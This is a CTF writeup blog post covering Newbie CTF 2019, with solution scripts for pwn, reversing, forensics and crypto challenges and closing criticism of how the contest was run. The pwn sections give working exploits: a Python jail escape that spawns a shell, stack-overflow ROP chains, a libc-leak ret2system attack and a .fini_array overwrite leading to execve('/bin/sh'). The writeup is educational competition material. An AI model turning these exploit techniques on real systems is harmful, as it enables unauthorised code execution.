CTFするぞ

CTF以外のことも書くよ

Newbie CTF 2019 Writeup

I played Newbie CTF which was held from November 2nd to 3rd in zer0pts. The CTF had some problems in their challenges, servers, and so on but I enjoyed it. We got 15849pts and reached 1st place.

f:id:ptr-yudai:20191103104944p:plain

Here I'm going to write the solutions for pwn challenges and some others with high points (more than 900pts).

The tasks and solvers for the challenges I solved are available here.

Members' writeups:

st98.github.io

[Pwn 424pts] python_jail

Description: Hi! Welcome to pyjail! Escape Jail If you can!
Server: nc prob.vulnerable.kr 20001

We can run python code.

$ nc prob.vulnerable.kr 20001
Hi! Welcome to pyjail!
========================================================================
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to pyjail!")
    print("========================================================================")
    print(open(__file__).read())
    print("========================================================================")
    print("RUN")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()
========================================================================
RUN
>>> 

It's a simple blacklist filter and we can bypass it by a simple Python code.

>>> __builtins__.__dict__['ev'+"al"]("__imp"+"ort__('o"+"s').sys"+"tem('/bin/bash')")
cat /home/python_jail/flag
KorNewbie{H311o_h0w_@r3_y0u_d0lng?}

[Pwn 521pts] babypwn

Description: This Challenge remake... i want many solve!!! do you know Buffer Overflow???
File: babypwn
Server: nc prob.vulnerable.kr 20035

It's a simple stack overflow challenge. The binary has a function named flag2, which executes the shell.

from ptrlib import *

elf = ELF("./babypwn")
#sock = Process("./babypwn")
sock = Socket("prob.vulnerable.kr", 20035)

payload = b"A" * 0x408
payload += p64(0x40065a) # ret gadget so that it works on libc-2.27 too
payload += p64(elf.symbol("flag2"))
sock.sendline(payload)

sock.interactive()

Baby.

$ python solve.py 
[+] __init__: Successfully connected to prob.vulnerable.kr:20035
[ptrlib]$ cat /home/babypwn/flag
KorNewbie{Th1s_1S_R34L_Fl4g_C0ngr4tu14ti0n5!}

[Pwn 590pts] OneShot_OneKill

Description: You have just one bullet.... kill him!
File: oneshot_onekill
Server: nc prob.vulnerable.kr 20026

The binary has a simple stack overflow. It also has a function which executes cat flag but when I solved the challenge, the current directory was root and couldn't cat. (It's fixed after I solved...) I solved it with ROP.

from ptrlib import *

elf = ELF("./oneshot_onekill")
#sock = Process("./oneshot_onekill")
sock = Socket("prob.vulnerable.kr", 20026)

payload = b"A" * 0x130
payload += p32(elf.plt("gets"))
payload += p32(0x08048399)
payload += p32(elf.section(".bss") + 0x100)
payload += p32(elf.plt("system"))
payload += p32(0x08048399)
payload += p32(elf.section(".bss") + 0x100)
sock.sendline(payload)
sock.sendline("/bin/sh")

sock.interactive()

Baby.

$ python solve.py 
[+] __init__: Successfully connected to prob.vulnerable.kr:20026
[ptrlib]$ Do you know basic of BOF?
This prob is for newbie pwner, so it is x32 binary
This Environment has only ASLR and NX, NO other migitations
Can you Exploit it?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@¡
cat /home/oneshot_onekill/flag
KorNewbie{Nice_Sh0T_N3wbie_Pwner!$#}
[ptrlib]$

[Pwn 845pts] dRop_the_beat

Description: dRop the Beat DJ!!
Files: drop_the_beat, libc.so,6
Server: nc prob.vulnerable.kr 20002

Stack oveflow again.

from ptrlib import *

libc = ELF("./libc.so.6")
elf = ELF("./drop_the_beat_easy")
#sock = Process("./drop_the_beat_easy")
sock = Socket("prob.vulnerable.kr", 20002)
rop_pop1 = 0x080483b9

# stage 1
payload = b'A' * 0x68
payload += p32(elf.plt("puts"))
payload += p32(rop_pop1)
payload += p32(elf.got("puts"))
payload += p32(elf.symbol("main"))
sock.sendlineafter("..!\n", "1")
sock.recvline()
sock.send(payload)
sock.recvline()
sock.recvline()
libc_base = u64(sock.recvline()[:4]) - libc.symbol("puts")
logger.info("libc base = " + hex(libc_base))

# stage 2
payload = b'A' * 0x68
payload += p32(libc_base + libc.symbol("system"))
payload += p32(0xdeadbeef)
payload += p32(libc_base + next(libc.find("/bin/sh\0")))
sock.sendlineafter("..!\n", "1")
sock.recvline()
sock.send(payload)

sock.interactive()

Baby.

$ python solve.py 
[+] __init__: Successfully connected to prob.vulnerable.kr:20002
[+] <module>: libc base = 0xf75ab000
[ptrlib]$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@Y^÷ï¾­Þ+@p÷
Wow... That's AWESOME!
cat /home/drop_the_beat/flag
KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}
[ptrlib]$

[Pwn 1000pts] revenge

File: revenge
Server: nc prob.vulnerable.kr 20037

Finally a pwn with different taste. The binary is statically linked and stripped. It reads an address by scanf and then we can send arbitrary 0x19 bytes into the address. It intentionally corrupts the canary and it always crashes before the main function ends. I thought of disabling __stack_chk_fail but it's statically linked. Also, the linked libc seems to be libc-2.27 and vtable hijacking won't work. However, we can bypass the SSP in about 1/256 probability because it corrupts only the 2nd bytes of the canary with the least byte of the address we send.

First of all, I removed the SSP using idadif beacuse It's troublesome while debugging.

f:id:ptr-yudai:20191103003307p:plain

My plan is to take a control by overwriting the .fini_array. There are 2 elements in .fini_array in this binary so we can call 2 functions. I set .fini_array[0] to __libc_csu_fini and set .fini_array[1] to main. In this way, we'll have arbitrary write with infinite loop.

However, we can only write to the address which won't crash the canary. If we bypassed the SSP check in the first time, the 2nd byte of the canary is same as the least byte of .fini_array. Since it's 0x50 in the binary, we can only write to some addressed like 0x??????50. That's what made it hard.

I couldn't find any functions which execute shell or open the flag and I decided to make a ROP chain.

f:id:ptr-yudai:20191103003625p:plain

As you can understand from the graph above, rbp will be the address of .fini_array when call ignites. Thus, leave ret gadget will work as stack pivoting and rsp will move to .fini_array + 8. As we have 0x19 bytes control, we can put 0x10 bytes ROP chain here. However, as we only have 0x19 bytes control and only can write to addresses like 0x??????50, we can put only 0x10 bytes ROP chain!

Obviously it's not enough. I'd been stuck a while here but finally found a solution. I found a useful gadget:

0x00463567: retn 0x03E8 ;  (1 found)

This will work as ret and will move rsp. After returning from the next address, the next return address will come to 0x??????50 + 0x400, which is a valid address we can write to! So, we can put our ROP chain like this:

|               |
+---------------+
| leave; ret;   |
+---------------+
| retn 0x3e8;   |
+---------------+
| pop rax; ret; |
+---------------+
|     .....     |
+---------------+
| SYS_execve    |
+---------------+
| retn 0x3e8;   |
+---------------+
| pop rdi; ret; |
+---------------+
|     .....     |
+---------------+
| &'/bin/sh'    |
+---------------+
|               |

Let's write the exploit code.

from ptrlib import *
import time

rop_leave_ret = 0x400cc3
rop_retn_3e8 = 0x00463567
rop_ret = 0x0040042e
rop_pop_rax = 0x00415764
rop_pop_rdx = 0x0044bee6
rop_pop_rsi = 0x004103b3
rop_pop_rdi = 0x004006f6
rop_syscall = 0x0040133c

addr_fini = 0x401a40
addr_fini_array = 0x6d1150
addr_main = 0x400c00
addr_stack = 0x6d1160
addr_binsh = 0x6d1250

def overwrite(addr, data):
    assert addr & 0xff == 0x50
    sock.sendline(str(addr))
    sock.send(data)
    sock.recvline()
    return

while True:
    #sock = Process("./revenge")
    sock = Socket("prob.vulnerable.kr", 20037)

    overwrite(addr_fini_array, p64(addr_fini) + p64(addr_main))
    if b'***' in sock.recvline(timeout=0.5):
        sock.close()
        continue

    logger.info("OK. sending payload...")
    overwrite(addr_binsh,
              b"/bin/sh\x00")
    overwrite(addr_fini_array + 0x400 * 4,
              p64(addr_binsh) + p64(rop_retn_3e8) + p64(rop_syscall))
    overwrite(addr_fini_array + 0x400 * 3,
              p64(0) + p64(rop_retn_3e8) + p64(rop_pop_rdi))
    overwrite(addr_fini_array + 0x400 * 2,
              p64(0) + p64(rop_retn_3e8) + p64(rop_pop_rdx))
    overwrite(addr_fini_array + 0x400,
              p64(0x3b) + p64(rop_retn_3e8) + p64(rop_pop_rsi))
    overwrite(addr_fini_array,
              p64(rop_leave_ret) + p64(rop_retn_3e8) + p64(rop_pop_rax))
    sock.interactive()
    exit(0)

Yay!

$ python solve.py
[+] __init__: Successfully connected to prob.vulnerable.kr:20037
[+] close: Connection to prob.vulnerable.kr:20037 closed
[+] __init__: Successfully connected to prob.vulnerable.kr:20037
[+] close: Connection to prob.vulnerable.kr:20037 closed
[+] close: Connection to prob.vulnerable.kr:20037 closed
[+] __init__: Successfully connected to prob.vulnerable.kr:20037
[+] close: Connection to prob.vulnerable.kr:20037 closed
[+] close: Connection to prob.vulnerable.kr:20037 closed
[+] __init__: Successfully connected to prob.vulnerable.kr:20037
[+] close: Connection to prob.vulnerable.kr:20037 closed
[+] close: Connection to prob.vulnerable.kr:20037 closed
[+] __init__: Successfully connected to prob.vulnerable.kr:20037
[+] close: Connection to prob.vulnerable.kr:20037 closed
[WARN] recvonce: Timeout
[+] <module>: OK. sending payload...
[ptrlib]$ cat /home/revenge/flag
[ptrlib]$ KorNewbie{amano_hina}

This challenge was fun!

[Reversing 935pts] BABYREV

Description: I encrypted my sensitive secrets with an encryption program, but I can't make a decryption program! Can you help me?
Files: babyrev.exe, enc.txt

After reading the input file, every byte is mapped by a fixed table. Also, every byte is xored with a value returned by sub_140011780. This function returns 0x15 or 0x16. I tried some patterns and found it returns 0x16 if (loop counter) % 2 == 0, otherwise 0x15. I wrote a simple decoder.

with open("babyrev.exe", "rb") as f:
    f.seek(0x8fb0)
    table = f.read(0x100)

with open("enc.txt", "rb") as f:
    cipher = f.read()

flag = ""
for i, c in enumerate(cipher):
    for x in range(0x100):
        if table[(x // 10) * 16 + (x % 10)] == c ^ (0x16 - (i%2)):
            flag += chr(x)
            break

print(flag)

Trust me, the flag is korNewbie{ba8y_rev_i$_very_Very_eZ!}, not KorNewbie{ba8y_rev_i$_very_Very_eZ!}.

[Reversing 994] Foxy Fox

Description: Look at that cute fox over there!!!
http://www.talesshop.com/?page=product&query=fox
Please Answer My Question!
IF you run FoxyFox binary your computer can be shut down
Please run the Binnary on Vmware
ex ) VMware, VirtualBox, Qemu
Please don't upload binary to sites like Virastotal.
ex) VirusTotal, AnyRun
File: FoxyFox.exe

At first, I started analysing sub_465970. This function is pretty obfuscated by a simple string encoder and dynamically resolving API. The encoding is simple. We can decode the string by incrementing the characters byte by byte. It finds a file or API by hash function.

f:id:ptr-yudai:20191103111318p:plain

I wrote a script to map a hash to its function name.

from ptrlib import ror

hashval = [
    0x13e0ff2c,
    0xB7D26563,
    0x5B9E4069,
    0x98AE69CB,
    0x96AE69D0,
    0x998802F1,
    0x7F3EECA7
]

def calc_hash(name, key):
    hashval = 0
    for c in name:
        hashval = ((ord(c) | 0x20) + ror(hashval, 8, bits=32)) ^ key
    return hashval

with open("apilist_kernel32", "r") as f:
    for line in f:
        for h in hashval:
            if calc_hash(line.strip(), 0x7C35D9A3) == h:
                print(hex(h), line.strip())
                break

Finally we can analyse the function. It reads a resource named FLAG and decrypts it with a key. The key is a user input and is checked by the same hash function. As the key size is 4-byte, we can easily find the password by brute-forcing.

from ptrlib import *
import string
table = string.ascii_letters + string.digits

def calc_hash(name, key):
    hashval = 0
    for c in name:
        hashval = ((ord(c) | 0x20) + ror(hashval, 8, bits=32)) ^ key
    return hashval

for pattern in brute_force_attack(4, table_len=len(table)):
    password = brute_force_pattern(pattern, table)
    if calc_hash(password, 0x7C35D9A3) == 0x8faf5559:
        print(password)
        break

The key is flag. Now what we have to do is extract the encrypted file and decrypt it with the key.

import pefile
from ptrlib import *

key = b"FLAG" # flag works but FLAG is correct
pe = pefile.PE("FoxyFox.exe")

for rsrc in pe.DIRECTORY_ENTRY_RESOURCE.entries:
    for entry in rsrc.directory.entries:
        offset = entry.directory.entries[0].data.struct.OffsetToData
        size = entry.directory.entries[0].data.struct.Size
        encryptedImage = pe.get_memory_mapped_image()[offset:offset + size]
        img = xor(encryptedImage, key)
        with open("flag.png", "wb") as f:
            f.write(img)
        exit()

f:id:ptr-yudai:20191103112430p:plain

WTF.

... There is one more path in which it checks our input. But the input size must be 16-byte and it only checks the hash value. 3 of them are fixed but we need the rest 13-bytes. I'd been stuck here for hours as it's next to impossible. (z3 didn't work as well.)

Finally, the admin updated the binary. They added this simple xor checker.

f:id:ptr-yudai:20191103112806p:plain

The key is fixed and now it's super easy.

from z3 import *

def calc_hash(name, key):
    hashval = 0
    for c in name:
        hashval = ((ord(c) | 0x20) + ((hashval >> 8) | ((hashval & 0xff) << 24))) ^ key
    return hashval

flag = [BitVec("flag{:02x}".format(i), 8) for i in range(0x10)]
s = Solver()
s.add(flag[0x3] == 0x5f)
s.add(flag[0x7] == 0x5f)
s.add(flag[0xc] == 0x5f)
s.add(And(0x40 < flag[0], 0x5a >= flag[0]))
s.add(And(0x40 < flag[1], 0x5a >= flag[1]))
s.add(And(0x40 < flag[2], 0x5a >= flag[2]))
s.add(And(0x40 < flag[4], 0x5a >= flag[4]))
s.add(And(0x40 < flag[5], 0x5a >= flag[5]))
s.add(And(0x40 < flag[6], 0x5a >= flag[6]))
s.add(And(0x40 < flag[8], 0x5a >= flag[8]))
s.add(And(0x40 < flag[9], 0x5a >= flag[9]))
s.add(And(0x40 < flag[10], 0x5a >= flag[10]))
s.add(And(0x40 < flag[11], 0x5a >= flag[11]))
s.add(And(0x40 < flag[13], 0x5a >= flag[13]))
s.add(And(0x40 < flag[14], 0x5a >= flag[14]))
s.add(And(0x40 < flag[15], 0x5a >= flag[15]))

l = [0, 0x1c, 0x11, 0x0b, 0x12, 0x1b, 0x0c, 0x0b, 0x7, 0x15, 0x0d, 7, 0x0b, 7, 1, 0x15]
for i in range(0x10):
    s.add(flag[i] ^ flag[0] == l[i])
#s.add(calc_hash(flag, 0x7c35d9a3) == 0xf92ac34)

answer = ['?' for i in range(0x10)]
r = s.check()
if r == sat:
    m = s.model()
    for d in m.decls():
        answer[int(d.name()[4:], 16)] = chr(m[d].as_long())
    answer = ''.join(answer)
    print("Found!")
    print(answer)
    print(hex(calc_hash(answer, 0x7c35d9a3)))
else:
    print(r)

WHY IS FINDING THE DUMMY FLAG MUCH HARDER THAN THE REAL FLAG???

[Forensics 951pts] REC

Description: REC? Kion vi celas?
File: REC.exe

First of all, we need to add MZ to the head of the file to fix the exe file. After that we can analyse the binary by IDA. The flag is stored to the local variable byte by byte.

import re
asm = """mov     [esp+30h+var_20], 4Bh
mov     [esp+30h+var_1F], 6Fh
mov     [esp+30h+var_1E], 72h
mov     [esp+30h+var_1D], 4Eh
mov     [esp+30h+var_1C], 65h
mov     [esp+30h+var_1B], 77h
mov     [esp+30h+var_1A], 62h
mov     [esp+30h+var_19], 69h
mov     [esp+30h+var_18], 65h
mov     [esp+30h+var_17], 7Bh
mov     [esp+30h+var_16], 52h
mov     [esp+30h+var_15], 65h
mov     [esp+30h+var_14], 63h
mov     [esp+30h+var_13], 6Fh
mov     [esp+30h+var_12], 76h
mov     [esp+30h+var_11], 65h
mov     [esp+30h+var_10], 72h
mov     [esp+30h+var_F], 5Fh
mov     [esp+30h+var_E], 53h
mov     [esp+30h+var_D], 69h
mov     [esp+30h+var_C], 67h
mov     [esp+30h+var_B], 6Eh
mov     [esp+30h+var_A], 61h
mov     [esp+30h+var_9], 74h
mov     [esp+30h+var_8], 75h
mov     [esp+30h+var_7], 72h
mov     [esp+30h+var_6], 65h
mov     [esp+30h+var_5], 7Dh
mov     [esp+30h+var_4], 0
"""

flag = ""
for line in asm.split("\n"):
    r = re.findall(", ([0-9A-F]+)h", line)
    if r == []: continue
    flag += chr(int(r[0], 16))

print(flag)

That's it.

[Crypto 999pts] is..it...ecc????

Description: The ciphertext and key are outside the elliptic curve. But decryption is possible.
P + Q = R = ((slope^2 - P_x - Q_x) %N, (slope*(P_x - R_x) - P_y) %N)
-P = (x, N - y)
if Q = -P: slope = 0
how can u get d? d is veryyyyyy small
given C is (Plain text) + d * (r + 1) * e
Server: nc prob.vulnerable.kr 20016

It's an Elliptic Curve challenge. The given point C and e are not on the curve. Fortunately this library (which I wrote few years ago) could handle this. By bruteforcing d, I could find the plain text.

from ptrlib import *
from EllipticCurve import *
import re
import string

sock = Socket("prob.vulnerable.kr", 20016)

# y^2 = x^3 + Ax + B (over N)
x = re.findall(b" (\d+)\*x \+ (\d+), r: (\d+)", sock.recvline())
A, B, r = int(x[0][0]), int(x[0][1]), int(x[0][2])
sock.recvline()
# e
x = re.findall(b"e: \((\d+), (\d+)\)", sock.recvline())
ex, ey = int(x[0][0]), int(x[0][1])
sock.recvline()
# N
N = (int(sock.recvline()[3:]))
sock.recvline()
# C
x = re.findall(b"C: \((\d+), (\d+)\)", sock.recvline())
Cx, Cy = int(x[0][0]), int(x[0][1])
sock.recvline()

F = FiniteField(N)
E = EllipticCurve(F, (A, B))
e = Point(E, ex, ey)
C = Point(E, Cx, Cy)
print(E)
print(e)
print(C)

for d in range(0x1000):
    w = e * d * (r + 1)
    M = C + Point(E, w.x, N - w.y)
    l1 = M.x.bit_length() + (8 - (M.x.bit_length() % 8))
    l2 = M.y.bit_length() + (8 - (M.y.bit_length() % 8))
    x = int.to_bytes(M.x, byteorder='big', length=l1 // 8)
    y = int.to_bytes(M.y, byteorder='big', length=l2 // 8)
    if consists_of(x, string.printable, per=0.8):
        print(x)
        print(y)
    if consists_of(y, string.printable, per=0.8):
        print(x)
        print(y)

sock.close()

Comment

As there were several issues on the administration, I want to say some things to make the CTF much better next year. I don't mention about technical issues such as heavy server. However, you should've not done

  • Open hints / change binary for challenges already solved by some teams
    • Those who already solved the challenge would feel unfair
    • If you think it's necessary, write it before opening the challenge
  • Open challenges before testing it's solvable
    • Some challengs were deleted during the CTF
    • You should've checked them if they were solvable (Not only the author but other members should test the challenges)
    • Check the challenge description too. Changing it many times was not good.
  • Add members who were supposed to play the CTF
    • It can be seen suspicious (as some players had claimed on it)
  • Some challs were guessy
    • To prevent it, it's good to open the server-side code as much as possible

The rapid response to the participants' questions was good. I hope it'll be improved next year :)